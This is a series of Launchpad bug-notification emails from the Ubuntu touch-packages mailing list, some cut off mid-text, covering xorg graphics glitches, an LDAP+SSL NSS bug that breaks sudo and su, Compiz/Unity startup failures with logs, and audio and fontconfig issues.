version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug compiz-0.9 trusty ubuntu -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1459086 Title: Graphics issue Status in xorg package in Ubuntu: New Bug description: I am running ubuntu 14.04 and I am a newbie, I am learning linux but as I am very much concerned with all hardware of the pc to be successfully installed. But in ubuntu I found that AMD Graphics and the intel graphics that came along with the dell laptop can't get successfully installed. And I do have some glitches while scrolling on the page and when watching movies as well there is little lag in quality! Thank you! ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: xorg 1:7.7+1ubuntu8.1 ProcVersionSignature: Ubuntu 3.16.0-38.52~14.04.1-generic 3.16.7-ckt10 Uname: Linux 3.16.0-38-generic x86_64 NonfreeKernelModules: fglrx .tmp.unity.support.test.0: ApportVersion: 2.14.1-0ubuntu3.11 Architecture: amd64 CompizPlugins: [core,composite,opengl,compiztoolbox,decor,vpswitch,snap,mousepoll,resize,place,move,wall,grid,regex,imgpng,session,gnomecompat,animation,fade,staticswitcher,workarounds,scale,expo,ezoom,dbus] CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Wed May 27 09:37:35 2015 DistUpgraded: Fresh install DistroCodename: trusty DistroVariant: ubuntu DkmsStatus: fglrx-updates-core, 15.200, 3.16.0-38-generic, x86_64: installed ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0166] (rev 09) (
[Touch-packages] [Bug 423252] Re: NSS using LDAP+SSL breaks setuid applications like su, sudo, apache2 suexec, and atd
** Tags removed: removal-candidate -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libgcrypt11 in Ubuntu. https://bugs.launchpad.net/bugs/423252 Title: NSS using LDAP+SSL breaks setuid applications like su, sudo, apache2 suexec, and atd Status in libgcrypt: Fix Released Status in Release Notes for Ubuntu: Fix Released Status in libgcrypt11 package in Ubuntu: Fix Released Status in gnutls26 source package in Lucid: Invalid Status in libgcrypt11 source package in Lucid: Fix Released Status in libnss-ldap source package in Lucid: Invalid Status in sudo source package in Lucid: Invalid Status in gnutls26 source package in Maverick: Invalid Status in libgcrypt11 source package in Maverick: Won't Fix Status in libnss-ldap source package in Maverick: Invalid Status in sudo source package in Maverick: Invalid Status in gnutls26 source package in Natty: Invalid Status in libgcrypt11 source package in Natty: Invalid Status in libnss-ldap source package in Natty: Invalid Status in sudo source package in Natty: Invalid Status in gnutls26 source package in Oneiric: Invalid Status in libgcrypt11 source package in Oneiric: Invalid Status in libnss-ldap source package in Oneiric: Invalid Status in sudo source package in Oneiric: Invalid Status in gnutls26 source package in Precise: Invalid Status in libgcrypt11 source package in Precise: Fix Released Status in libnss-ldap source package in Precise: Invalid Status in sudo source package in Precise: Invalid Status in gnutls26 source package in Karmic: Invalid Status in libgcrypt11 source package in Karmic: Won't Fix Status in libnss-ldap source package in Karmic: Invalid Status in sudo source package in Karmic: Invalid Status in gnutls26 package in Debian: Fix Released Status in libgcrypt11 package in Debian: Fix Released Status in libnss-ldap package in Debian: Fix Released Status in sudo package in Debian: Fix Released Bug description: SRU Request: [Impact] As heavily outlined in the amount of comments in this bug the impact is detrimental to both community and enterprise users alike. [Development Fix] Howard Chu released a patch in #73 which was later confirmed in #106 & #108 as a resolution. [Stable Fix] Patch from #73 can be applied cleanly to Lucid and new distributions. [Test Case] On Karmic (alpha 4 plus updates), changing the nsswitch.conf 'passwd' field to anything with 'ldap' as the first item breaks the ability to become root using 'su' and 'sudo' as anyone but root. Default nsswitch.conf: passwd: compat group: compat shadow: compat matt@box:~$ sudo uname -a [sudo] password for matt: Linux box 2.6.31-9-server #29-Ubuntu SMP Sun Aug 30 18:37:42 UTC 2009 x86_64 GNU/Linux matt@box:~$ su - Password: root@box:~# Modified nsswitch.conf with 'ldap' before 'compat': passwd: ldap compat group: ldap compat shadow: ldap compat matt@box:~$ sudo uname -a sudo: setreuid(ROOT_UID, user_uid): Operation not permitted matt@box:~$ su - Password: setgid: Operation not permitted Modified nsswitch.conf with 'ldap' after 'compat': passwd: compat ldap group: compat ldap shadow: compat ldap matt@box:~$ sudo uname -a [sudo] password for matt: Linux box 2.6.31-9-server #29-Ubuntu SMP Sun Aug 30 18:37:42 UTC 2009 x86_64 GNU/Linux matt@box:~$ su - Password: root@box:~# The same arrangements in nsswitch.conf work as expected in Jaunty and earlier releases. [Regression Potential] This should be minimal as the code change only addresses the duplicating global_init during thread callbacks. Lucid Release Note: == NSS via LDAP+SSL breaks setuid applications like sudo == Upgrading systems configured to use ldap over ssl as the first service in the nss stack (in nsswitch.conf) leads to a broken nss resolution for setuid applications after the upgrade to Lucid (for example sudo would stop working). There isn't any simple workaround for now. One option is to switch to libnss-ldapd in place of libnss-ldap before the upgrade. Another one consists in using nscd before the upgrade. To manage notifications about this bug go to: https://bugs.launchpad.net/libgcrypt/+bug/423252/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1410594] Re: Compiz/Unity not launching at startup
** Changed in: compiz Status: New => Confirmed ** Changed in: unity Status: New => Confirmed ** Changed in: unity (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1410594 Title: Compiz/Unity not launching at startup Status in Compiz: Confirmed Status in Unity: Confirmed Status in compiz package in Ubuntu: Confirmed Status in unity package in Ubuntu: Confirmed Bug description: Ubuntu 14.10 Compiz 0.9.12 Unity 7.3.1 uname 3.16.0-29-generic Upon login to my Unity session, no sidebar or top menu bar is present; it does load desktop icons and the desktop image. Unity commands (CTRL-ALT-T for terminal app) don't work, but system commands do. Applications can only be launched by system command, and when they do they have no window dressing. I launched unity from a terminal, and got some of my desktop back (no indicators, system widgets). Steps taken for remedy/debug: - I have tried reinstalling a number of packages: compiz, ccsm, unity, unity-tweak-tool. - I tried to use `xprop WM_CLASS` to see what was being displayed in the top bar once unity was initialized; clicking the blank area where indicators would have been returned `WM_CLASS: not found` - ran most system testing suites. After reboot test, and resuming checkbox, terminal displayed the following: app_id : "com.canonical.checkbox-gui" "org.freedesktop.DBus.Error.NoReply" "Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken." GuiEngine::RunJobs - Done compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. - I also made use of the unity tweak tool reset feature, and got the following warnings (the full output is farther below): WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.Shell' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.debug.interface DebugDBusInterface.cpp:216 Unable to load entry point in libxpathselect: libxpathselect.so.1.4: cannot open shared object file: No such file or directory -- full D-Bus introspection will not be available WARN 2015-01-13 18:27:21 xim.controller XIMController.cpp:103 IBus natively supported. WARN 2015-01-13 18:27:21 unityct(io) :0 Desktop file '/usr/share/applications/terminator.desktop' is using a deprecated format for its actions that will be dropped soon. WARN 2015-01-13 18:27:21 unityct(io) :0 Desktop file '/usr/share/applications/inkscape.desktop' is using a deprecated format for its actions that will be dropped soon. WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Launcher' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Dash' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.SessionManager.EndSessionDialog' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Session' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.ScreenSaver' yet as we don't have a connection, waiting for it... ERROR 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:524 DBus name lost 'org.gnome.Shell' ERROR 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:524 DBus name lost 'com.canonical.Unity' WARN 2015-01-13 18:27:28 unityo (appinfo2) :0 g_settings_set_value: value for key 'visual-bell-type' in schema 'org.gnome.desktop.wm.preferences' is outside of valid range compiz (core) - Warn: unhandled ConfigureNotify on 0x3600095! compiz (c
[Touch-packages] [Bug 1286021] Re: 2.1 surround support (userspace)
** Branch linked: lp:~hui.wang/pulseaudio/pulseaudio-trusty-proposed-2 .1channels-lfe -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-lib in Ubuntu. https://bugs.launchpad.net/bugs/1286021 Title: 2.1 surround support (userspace) Status in alsa-lib package in Ubuntu: Fix Released Status in pulseaudio package in Ubuntu: Fix Committed Status in alsa-lib source package in Trusty: New Status in pulseaudio source package in Trusty: New Bug description: 2.1 surround should work as seamlessly as other surround options, such as 4.0, 5.1 and 7.1 work today. Alsa-lib and pulseaudio patches for 14.04 can be tested here: https://launchpad.net/~diwic/+archive/surround21 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-lib/+bug/1286021/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1410594] Re: Compiz/Unity not launching at startup
** Also affects: compiz Importance: Undecided Status: New ** Also affects: unity (Ubuntu) Importance: Undecided Status: New ** Also affects: unity Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1410594 Title: Compiz/Unity not launching at startup Status in Compiz: New Status in Unity: New Status in compiz package in Ubuntu: Confirmed Status in unity package in Ubuntu: New Bug description: Ubuntu 14.10 Compiz 0.9.12 Unity 7.3.1 uname 3.16.0-29-generic Upon login to my Unity session, no sidebar or top menu bar is present; it does load desktop icons and the desktop image. Unity commands (CTRL-ALT-T for terminal app) don't work, but system commands do. Applications can only be launched by system command, and when they do they have no window dressing. I launched unity from a terminal, and got some of my desktop back (no indicators, system widgets). Steps taken for remedy/debug: - I have tried reinstalling a number of packages: compiz, ccsm, unity, unity-tweak-tool. - I tried to use `xprop WM_CLASS` to see what was being displayed in the top bar once unity was initialized; clicking the blank area where indicators would have been returned `WM_CLASS: not found` - ran most system testing suites. After reboot test, and resuming checkbox, terminal displayed the following: app_id : "com.canonical.checkbox-gui" "org.freedesktop.DBus.Error.NoReply" "Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken." GuiEngine::RunJobs - Done compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. compiz (core) - Warn: unhandled ConfigureNotify on 0x3a00093! compiz (core) - Warn: this should never happen. you should probably file a bug about this. - I also made use of the unity tweak tool reset feature, and got the following warnings (the full output is farther below): WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.Shell' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.debug.interface DebugDBusInterface.cpp:216 Unable to load entry point in libxpathselect: libxpathselect.so.1.4: cannot open shared object file: No such file or directory -- full D-Bus introspection will not be available WARN 2015-01-13 18:27:21 xim.controller XIMController.cpp:103 IBus natively supported. WARN 2015-01-13 18:27:21 unityct(io) :0 Desktop file '/usr/share/applications/terminator.desktop' is using a deprecated format for its actions that will be dropped soon. WARN 2015-01-13 18:27:21 unityct(io) :0 Desktop file '/usr/share/applications/inkscape.desktop' is using a deprecated format for its actions that will be dropped soon. WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Launcher' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Dash' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.SessionManager.EndSessionDialog' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Session' yet as we don't have a connection, waiting for it... WARN 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.ScreenSaver' yet as we don't have a connection, waiting for it... ERROR 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:524 DBus name lost 'org.gnome.Shell' ERROR 2015-01-13 18:27:21 unity.glib.dbus.server GLibDBusServer.cpp:524 DBus name lost 'com.canonical.Unity' WARN 2015-01-13 18:27:28 unityo (appinfo2) :0 g_settings_set_value: value for key 'visual-bell-type' in schema 'org.gnome.desktop.wm.preferences' is outside of valid range compiz (core) - Warn: unhandled ConfigureNotify o
[Touch-packages] [Bug 1459061] [NEW] I dont understand
Public bug reported: Something strange is going on with Chromme ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: xorg 1:7.7+7ubuntu2 ProcVersionSignature: Ubuntu 3.16.0-34.45-generic 3.16.7-ckt8 Uname: Linux 3.16.0-34-generic x86_64 .tmp.unity.support.test.0: ApportVersion: 2.14.7-0ubuntu8.4 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Tue May 26 20:43:41 2015 DistUpgraded: Fresh install DistroCodename: utopic DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Haswell-ULT Integrated Graphics Controller [8086:0a16] (rev 0b) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:066c] InstallationDate: Installed on 2015-04-04 (52 days ago) InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) MachineType: Dell Inc. Inspiron 7547 ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.16.0-34-generic.efi.signed root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/27/2014 dmi.bios.vendor: Dell Inc. dmi.bios.version: A03 dmi.board.name: 0AM670 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA03:bd10/27/2014:svnDellInc.:pnInspiron7547:pvrNotSpecified:rvnDellInc.:rn0AM670:rvrA00:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Inspiron 7547 dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.12+14.10.20140918-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.56-1 version.libgl1-mesa-dri: libgl1-mesa-dri 10.3.2-0ubuntu0.1 version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A version.libgl1-mesa-glx: libgl1-mesa-glx 10.3.2-0ubuntu0.1 version.xserver-xorg-core: xserver-xorg-core 2:1.16.0-1ubuntu1.3 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.9.0-1ubuntu2 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.4.0-2ubuntu2 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.914-1~exp1ubuntu4.2 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.11-1ubuntu2 xserver.bootTime: Tue May 26 02:28:16 2015 xserver.configfile: default xserver.errors: xserver.logfile: /var/log/Xorg.0.log xserver.outputs: product id4333 vendor AUO xserver.version: 2:1.16.0-1ubuntu1.3 ** Affects: xorg (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-bug ubuntu utopic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1459061 Title: I dont understand Status in xorg package in Ubuntu: New Bug description: Something strange is going on with Chromme ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: xorg 1:7.7+7ubuntu2 ProcVersionSignature: Ubuntu 3.16.0-34.45-generic 3.16.7-ckt8 Uname: Linux 3.16.0-34-generic x86_64 .tmp.unity.support.test.0: ApportVersion: 2.14.7-0ubuntu8.4 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Tue May 26 20:43:41 2015 DistUpgraded: Fresh install DistroCodename: utopic DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Haswell-ULT Integrated Graphics Controller [8086:0a16] (rev 0b) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:066c] InstallationDate: Installed on 2015-04-04 (52 days ago) InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) MachineType: Dell Inc. Inspiron 7547 ProcEnviron: LANGUAGE=en_US PATH=(custom, no user) LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.16.0-34-generic.efi.signed root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7 SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/27/2014 dmi.bios.vendor: Dell Inc. dmi.bios.version: A03 dmi.board.name: 0AM670 dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA03:bd10/27/2014:svnDellInc.:pnInspiron7547:pvrNotSpecified:rvnDellInc.:rn0AM670:rvrA00:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Inspiron 7547 dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. version.compiz: compiz 1:0.9.12+14.10.20140918-0ubuntu1 version.ia32-libs: ia32-libs N/A version.libdrm2: libdrm2 2.4.56-1 version.libgl1-mesa-dri: libgl1
[Touch-packages] [Bug 1164083] Re: libreoffice spams stdout with "Fontconfig warning: ignoring C.UTF-8: not a valid language tag"
** Branch linked: lp:~cindyq/fontconfig/03_locale_c_utf8 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to fontconfig in Ubuntu. https://bugs.launchpad.net/bugs/1164083 Title: libreoffice spams stdout with "Fontconfig warning: ignoring C.UTF-8: not a valid language tag" Status in fontconfig package in Ubuntu: Confirmed Bug description: when libreoffice is started from the shell command line, it spams the terminal window with a stream of messages "Fontconfig warning: ignoring C.UTF-8: not a valid language tag" This message should be reported at most once per libreoffice invocation. ProblemType: Bug DistroRelease: Ubuntu 12.10 Package: fontconfig 2.10.1-0ubuntu3 ProcVersionSignature: Ubuntu 3.5.0-26.42-generic 3.5.7.6 Uname: Linux 3.5.0-26-generic x86_64 ApportVersion: 2.6.1-0ubuntu10 Architecture: amd64 Date: Wed Apr 3 14:22:46 2013 InstallationDate: Installed on 2011-11-01 (519 days ago) InstallationMedia: Ubuntu 11.10 "Oneiric Ocelot" - Release amd64 (20111012) MarkForUpload: True SourcePackage: fontconfig UpgradeStatus: Upgraded to quantal on 2013-03-21 (12 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/fontconfig/+bug/1164083/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458995] Re: black squares instead of window shadows. missing title bar and buttons
** Summary changed: - black squares instead of window shadows. missing tittlebar and buttons + black squares instead of window shadows. missing title bar and buttons -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1458995 Title: black squares instead of window shadows. missing title bar and buttons Status in Compiz: New Status in Unity: New Status in compiz package in Ubuntu: New Status in unity package in Ubuntu: New Bug description: After compiling and installing the newest Mesa3d with nouveau enabled, compiz gave up to put it simple. No work around has helped, neither resetting its settings. As everything else seems fine, I and the nouveau developers in irc decided it must be compiz and unity related issue. Thats what it looks like http://snag.gy/xJArM.jpg using compiz 1:0.9.11.3+14.04.20150313-0ubuntu1 on trusty 14.04 sg@box:~$ compiz --replace compiz (core) - Info: Loading plugin: core compiz (core) - Info: Starting plugin: core compiz (core) - Info: Loading plugin: ccp compiz (core) - Info: Starting plugin: ccp compizconfig - Info: Backend : gsettings compizconfig - Info: Integration : true compizconfig - Info: Profile : unity compiz (core) - Info: Loading plugin: composite compiz (core) - Info: Starting plugin: composite compiz (core) - Info: Loading plugin: opengl compiz (core) - Info: Unity is not supported by your hardware. Enabling software rendering instead (slow). compiz (core) - Info: Unity is not supported by your hardware. Enabling software rendering instead (slow). compiz (core) - Info: Starting plugin: opengl Compiz (opengl) - Info: GLX_EXT_buffer_age is supported compiz (core) - Info: Loading plugin: imgpng compiz (core) - Info: Starting plugin: imgpng compiz (core) - Info: Loading plugin: mousepoll compiz (core) - Info: Starting plugin: mousepoll compiz (core) - Info: Loading plugin: place compiz (core) - Info: Starting plugin: place compiz (core) - Info: Loading plugin: resize compiz (core) - Info: Starting plugin: resize compiz (core) - Info: Loading plugin: move compiz (core) - Info: Starting plugin: move compiz (core) - Info: Loading plugin: compiztoolbox compiz (core) - Info: Starting plugin: compiztoolbox compiz (core) - Info: Loading plugin: commands compiz (core) - Info: Starting plugin: commands compiz (core) - Info: Loading plugin: grid compiz (core) - Info: Starting plugin: grid compiz (core) - Info: Loading plugin: vpswitch compiz (core) - Info: Starting plugin: vpswitch compiz (core) - Info: Loading plugin: regex compiz (core) - Info: Starting plugin: regex compiz (core) - Info: Loading plugin: copytex compiz (core) - Info: Starting plugin: copytex compiz (core) - Info: Loading plugin: wall compiz (core) - Info: Starting plugin: wall compiz (core) - Info: Loading plugin: snap compiz (core) - Info: Starting plugin: snap compiz (core) - Info: Loading plugin: session compiz (core) - Info: Starting plugin: session compiz (core) - Info: Loading plugin: unitymtgrabhandles compiz (core) - Info: Starting plugin: unitymtgrabhandles compiz (core) - Info: Loading plugin: animation compiz (core) - Info: Starting plugin: animation compiz (core) - Info: Loading plugin: workarounds compiz (core) - Info: Starting plugin: workarounds compiz (core) - Info: Loading plugin: expo compiz (core) - Info: Starting plugin: expo compiz (core) - Info: Loading plugin: fade compiz (core) - Info: Starting plugin: fade compiz (core) - Info: Loading plugin: ezoom compiz (core) - Info: Starting plugin: ezoom compiz (core) - Info: Loading plugin: scale compiz (core) - Info: Starting plugin: scale compiz (core) - Info: Loading plugin: unityshell compiz (core) - Info: Starting plugin: unityshell WARN 2015-05-26 21:46:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.Shell' yet as we don't have a connection, waiting for it... ERROR 2015-05-26 21:46:22 unity.debug.interface DebugDBusInterface.cpp:216 Unable to load entry point in libxpathselect: libxpathselect.so.1.4: cannot open shared object file: No such file or directory WARN 2015-05-26 21:46:22 xim.controller XIMController.cpp:103 IBus natively supported. WARN 2015-05-26 21:46:23 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Launcher' yet as we don't have a connection, waiting for it... WARN 2015-05-26 21:46:23 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Dash' yet as we don't have a connection, waiting for it... WARN 2015-05-26 21:46:24 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.SessionManager.EndSessionDialog' yet as we don't have a connection, waiting for it... WARN 2015-05-26 21:46:24 unity.glib
[Touch-packages] [Bug 1458995] Re: black squares instead of window shadows. missing tittlebar and buttons
** Also affects: unity Importance: Undecided Status: New ** Also affects: unity (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1458995 Title: black squares instead of window shadows. missing tittlebar and buttons Status in Compiz: New Status in Unity: New Status in compiz package in Ubuntu: New Status in unity package in Ubuntu: New Bug description: After compiling and installing the newest Mesa3d with nouveau enabled, compiz gave up to put it simple. No work around has helped, neither resetting its settings. As everything else seems fine, I and the nouveau developers in irc decided it must be compiz and unity related issue. Thats what it looks like http://snag.gy/xJArM.jpg using compiz 1:0.9.11.3+14.04.20150313-0ubuntu1 on trusty 14.04 sg@box:~$ compiz --replace compiz (core) - Info: Loading plugin: core compiz (core) - Info: Starting plugin: core compiz (core) - Info: Loading plugin: ccp compiz (core) - Info: Starting plugin: ccp compizconfig - Info: Backend : gsettings compizconfig - Info: Integration : true compizconfig - Info: Profile : unity compiz (core) - Info: Loading plugin: composite compiz (core) - Info: Starting plugin: composite compiz (core) - Info: Loading plugin: opengl compiz (core) - Info: Unity is not supported by your hardware. Enabling software rendering instead (slow). compiz (core) - Info: Unity is not supported by your hardware. Enabling software rendering instead (slow). compiz (core) - Info: Starting plugin: opengl Compiz (opengl) - Info: GLX_EXT_buffer_age is supported compiz (core) - Info: Loading plugin: imgpng compiz (core) - Info: Starting plugin: imgpng compiz (core) - Info: Loading plugin: mousepoll compiz (core) - Info: Starting plugin: mousepoll compiz (core) - Info: Loading plugin: place compiz (core) - Info: Starting plugin: place compiz (core) - Info: Loading plugin: resize compiz (core) - Info: Starting plugin: resize compiz (core) - Info: Loading plugin: move compiz (core) - Info: Starting plugin: move compiz (core) - Info: Loading plugin: compiztoolbox compiz (core) - Info: Starting plugin: compiztoolbox compiz (core) - Info: Loading plugin: commands compiz (core) - Info: Starting plugin: commands compiz (core) - Info: Loading plugin: grid compiz (core) - Info: Starting plugin: grid compiz (core) - Info: Loading plugin: vpswitch compiz (core) - Info: Starting plugin: vpswitch compiz (core) - Info: Loading plugin: regex compiz (core) - Info: Starting plugin: regex compiz (core) - Info: Loading plugin: copytex compiz (core) - Info: Starting plugin: copytex compiz (core) - Info: Loading plugin: wall compiz (core) - Info: Starting plugin: wall compiz (core) - Info: Loading plugin: snap compiz (core) - Info: Starting plugin: snap compiz (core) - Info: Loading plugin: session compiz (core) - Info: Starting plugin: session compiz (core) - Info: Loading plugin: unitymtgrabhandles compiz (core) - Info: Starting plugin: unitymtgrabhandles compiz (core) - Info: Loading plugin: animation compiz (core) - Info: Starting plugin: animation compiz (core) - Info: Loading plugin: workarounds compiz (core) - Info: Starting plugin: workarounds compiz (core) - Info: Loading plugin: expo compiz (core) - Info: Starting plugin: expo compiz (core) - Info: Loading plugin: fade compiz (core) - Info: Starting plugin: fade compiz (core) - Info: Loading plugin: ezoom compiz (core) - Info: Starting plugin: ezoom compiz (core) - Info: Loading plugin: scale compiz (core) - Info: Starting plugin: scale compiz (core) - Info: Loading plugin: unityshell compiz (core) - Info: Starting plugin: unityshell WARN 2015-05-26 21:46:21 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.Shell' yet as we don't have a connection, waiting for it... ERROR 2015-05-26 21:46:22 unity.debug.interface DebugDBusInterface.cpp:216 Unable to load entry point in libxpathselect: libxpathselect.so.1.4: cannot open shared object file: No such file or directory WARN 2015-05-26 21:46:22 xim.controller XIMController.cpp:103 IBus natively supported. WARN 2015-05-26 21:46:23 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Launcher' yet as we don't have a connection, waiting for it... WARN 2015-05-26 21:46:23 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'com.canonical.Unity.Dash' yet as we don't have a connection, waiting for it... WARN 2015-05-26 21:46:24 unity.glib.dbus.server GLibDBusServer.cpp:579 Can't register object 'org.gnome.SessionManager.EndSessionDialog' yet as we don't have a connection, waiting for it... WARN 2015-05-26 21:46:24 unity.glib.dbus.server GLibDBusSe
[Touch-packages] [Bug 1458981] Re: Digital Output HDMI not recognized at all: [HDA-Intel - HDA Intel PCH, playback] Playback problem
